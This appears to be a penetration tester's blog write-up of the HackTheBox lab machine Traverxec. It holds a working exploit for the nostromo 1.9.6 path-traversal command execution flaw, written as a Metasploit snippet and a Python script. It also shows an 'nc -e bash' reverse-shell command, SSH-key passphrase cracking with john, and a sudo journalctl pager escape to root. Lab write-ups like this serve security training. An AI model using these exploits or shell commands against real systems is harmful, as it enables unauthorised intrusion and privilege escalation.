Header Image

Roman Hergenreder

IT-Security Consultant / Penetration Tester

[machine avatar]

HackTheBox Traverxec - Writeup

OS: Linux
Release Date: 11/16/2019 19:00 PM
Points: 20
Difficulty: Easy
Last modified: 05/16/2024 17:09 PM + Give Respect

First step is always information gathering and machine analysis. This is done by issuing a nmap-scan. Parameter -A means: OS detection and Version detection, Script scanning and Traceroute:
$ nmap -A 10.10.10.165 -T 5 -p-
Nmap scan report for traverxec.htb (10.10.10.165)
Host is up (0.020s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey:
| 2048 aa:99:a8:16:68:cd:41:cc:f9:6c:84:01:c7:59:09:5c (RSA)
| 256 93:dd:1a:23:ee:d7:1f:08:6b:58:47:09:73:a3:88:cc (ECDSA)
|_ 256 9d:d6:62:1e:7a:fb:8f:56:92:e6:37:f1:10:db:9b:ce (ED25519)
80/tcp open http nostromo 1.9.6
|_http-server-header: nostromo 1.9.6
|_http-title: TRAVERXEC
(...)

Nmap done: 1 IP address (1 host up) scanned in 131.59 seconds
We can see two open ports: ssh and http. Let's focus on the http port first. Visiting the website, we see a presentation page of David White, a web developer. The html page contains alot of common javascript libraries, photos and a contact form. Nothing interesting so far. Looking at the nmap results again, we see an unusual server banner: nostromo 1.9.6. Searching for related CVEs, one of the first results leads us to a Directory Traversal & Command Execution. The CVE page even includes a metasploit module, but this exploit is simple enough to use it manually.
send_request_cgi({
  'method'  => 'POST',
  'uri'     => normalize_uri(target_uri.path, '/.%0d./.%0d./.%0d./.%0d./bin/sh'),
  'headers' => {'Content-Length:' => '1'},
  'data'    => "echo\necho\n#{cmd} 2>&1"
})

This metasploit function simply sends a POST-request to the given URI (Path Traversal) and a command as payload (Command Execution). We can use the following python2 script, to execute our command:

s = socket.socket()
s.settimeout(1)
s.connect(('10.10.10.165',80))
payload = """POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0\r\nContent-Length: 1\r\n\r\necho\necho\n{} 2>&1""".format(cmd)
s.send(payload)
r = recv(s)
r = r[r.index('\r\n\r\n')+4:]
print r
Using nc -e bash <local ip> 9999 as cmd and listening on that port using netcat, we get our reverse shell.
Note: Use python -c 'import pty; pty.spawn("/bin/bash")' for a nicer shell!
$ nc -lvvp 9999
Listening on any address 9999 (distinct)
Connection from 10.10.10.165:46512
python -c 'import pty; pty.spawn("/bin/bash")'
www-data@traverxec:/usr/bin$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Now we have to do some enumeration. A good starting point is always looking at the webroot first. In /var/nostromo/conf we find an interesting file: ntthpd.conf:
www-data@traverxec:/var/nostromo/conf$ tail -n 4 nhttpd.conf
# HOMEDIRS [OPTIONAL]
homedirs /home
homedirs_public public_www

Unfortunately, we don't have access to user home folders. But as there should be a public www folder, nostromo should have access:

www-data@traverxec:/var/nostromo/conf$ ls -al /home
total 12
drwxr-xr-x 3 root root 4096 Oct 25 14:32 .
drwxr-xr-x 18 root root 4096 Oct 25 14:17 ..
drwx--x--x 5 david david 4096 Jan 10 07:49 david
www-data@traverxec:/var/nostromo/conf$ ls -al /home/david
ls: cannot open directory '/home/david': Permission denied
www-data@traverxec:/var/nostromo/conf$ ls -al /home/david/public_www
total 16
drwxr-xr-x 3 david david 4096 Oct 25 15:45 .
drwx--x--x 5 david david 4096 Jan 10 07:49 ..
-rw-r--r-- 1 david david 402 Oct 25 15:45 index.html
drwxr-xr-x 2 david david 4096 Oct 25 17:02 protected-file-area
Got'cha! The protected-file-area directory contains a very interesting file: backup-ssh-identity-files.tgz. We can download it using nmap again and then extract it. The archive contains 3 files:
authorized_keys, id_rsa, id_rsa.pub. The public key says, the user owning the key is called david. The private key seems to be encrypted, let's crack it using john:
$ ssh2john id_rsa > hash
$ john hash --wordlist=/usr/share/wordlists/rockyou.txt
Warning: detected hash type "SSH", but the string is also recognized as "ssh-opencl"
Use the "--format=ssh-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 8 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
hunter (id_rsa)
Warning: Only 1 candidate left, minimum 8 needed for performance.
1g 0:00:00:04 DONE (2020-01-10 14:04) 0.2392g/s 3431Kp/s 3431Kc/s 3431KC/s *7¡Vamos!
Session completed

Now we can login with ssh and the cracked passphrase and steal fhe flag:

$ ssh -i id_rsa david@10.10.10.165
Enter passphrase for key 'id_rsa': hunter
Linux traverxec 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u1 (2019-09-20) x86_64
Last login: Fri Jan 10 08:07:46 2020 from <local ip>
david@traverxec:~$ cat user.txt
7db0b48469606a42cec20750d9782f3d

The root part was very easy, starting the enumeration in user's home folder, we find an interesting file:

david@traverxec:~$ cat ~/bin/server-stats.sh
#!/bin/bash

cat /home/david/bin/server-stats.head
echo "Load: `/usr/bin/uptime`"
echo " "
echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`"
echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`"
echo " "
echo "Last 5 journal log lines:"

/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat

We can execute this script, without needing to be root or enter a root password:

david@traverxec:~$ ~/bin/server-stats.sh
(...)
Load: 08:13:18 up 29 min, 5 users, load average: 0.00, 0.00, 0.00

Open nhttpd sockets: 3
Files in the docroot: 117

Last 5 journal log lines:
-- Logs begin at Fri 2020-01-10 07:44:04 EST, end at Fri 2020-01-10 08:13:18 EST. --
Jan 10 07:44:08 traverxec systemd[1]: Starting nostromo nhttpd server...
Jan 10 07:44:08 traverxec nhttpd[422]: started
Jan 10 07:44:08 traverxec nhttpd[422]: max. file descriptors = 1040 (cur) / 1040 (max)
Jan 10 07:44:08 traverxec systemd[1]: Started nostromo nhttpd server.
The command /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service must be somehow in /etc/sudoers, which gives us the ability to execute it without a root password required. Using GTFOBins, we can see, that journalctl may invoke the default pager which is likely to be less. In less, we have the possibility to execute commands, which might give us a root shell. But when is this pager used? Asking this question, i learned something new: The pager is used whenever the output does not fit the screen/terminal. As we cannot increase the number of lines using parameter -n (it is not specified in /etc/sudoers), we can just resize the terminal to make it smaller. Executing the command again, it does not terminate but instead opens less. We can now execute root commands!
david@traverxec:~$ /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
-- Logs begin at Fri 2020-01-10 07:44:04 EST, end at Fri 2020-01-
Jan 10 08:20:31 traverxec sudo[2328]: pam_unix(sudo:auth): authen
Jan 10 08:20:33 traverxec sudo[2328]: pam_unix(sudo:auth): conver
Jan 10 08:20:33 traverxec sudo[2328]: pam_unix(sudo:auth): auth c
Jan 10 08:20:33 traverxec sudo[2328]: www-data : command not allo
Jan 10 08:20:33 traverxec crontab[2384]: (www-data) LIST (www-dat
!cat /root/root.txt
9aa36a6d76f785dfd320a478f6e0d906
!done (press RETURN)

The name Traverxec is a short combined word for Traversal Execution, as the Nostromo web server was exploitable by Remote Code Execution due to path traversal. This machine shows as many other cases: Patch your software! Another thing I've seen very often: Allowing commands to be executed as root without requiring a root-password often causes trouble.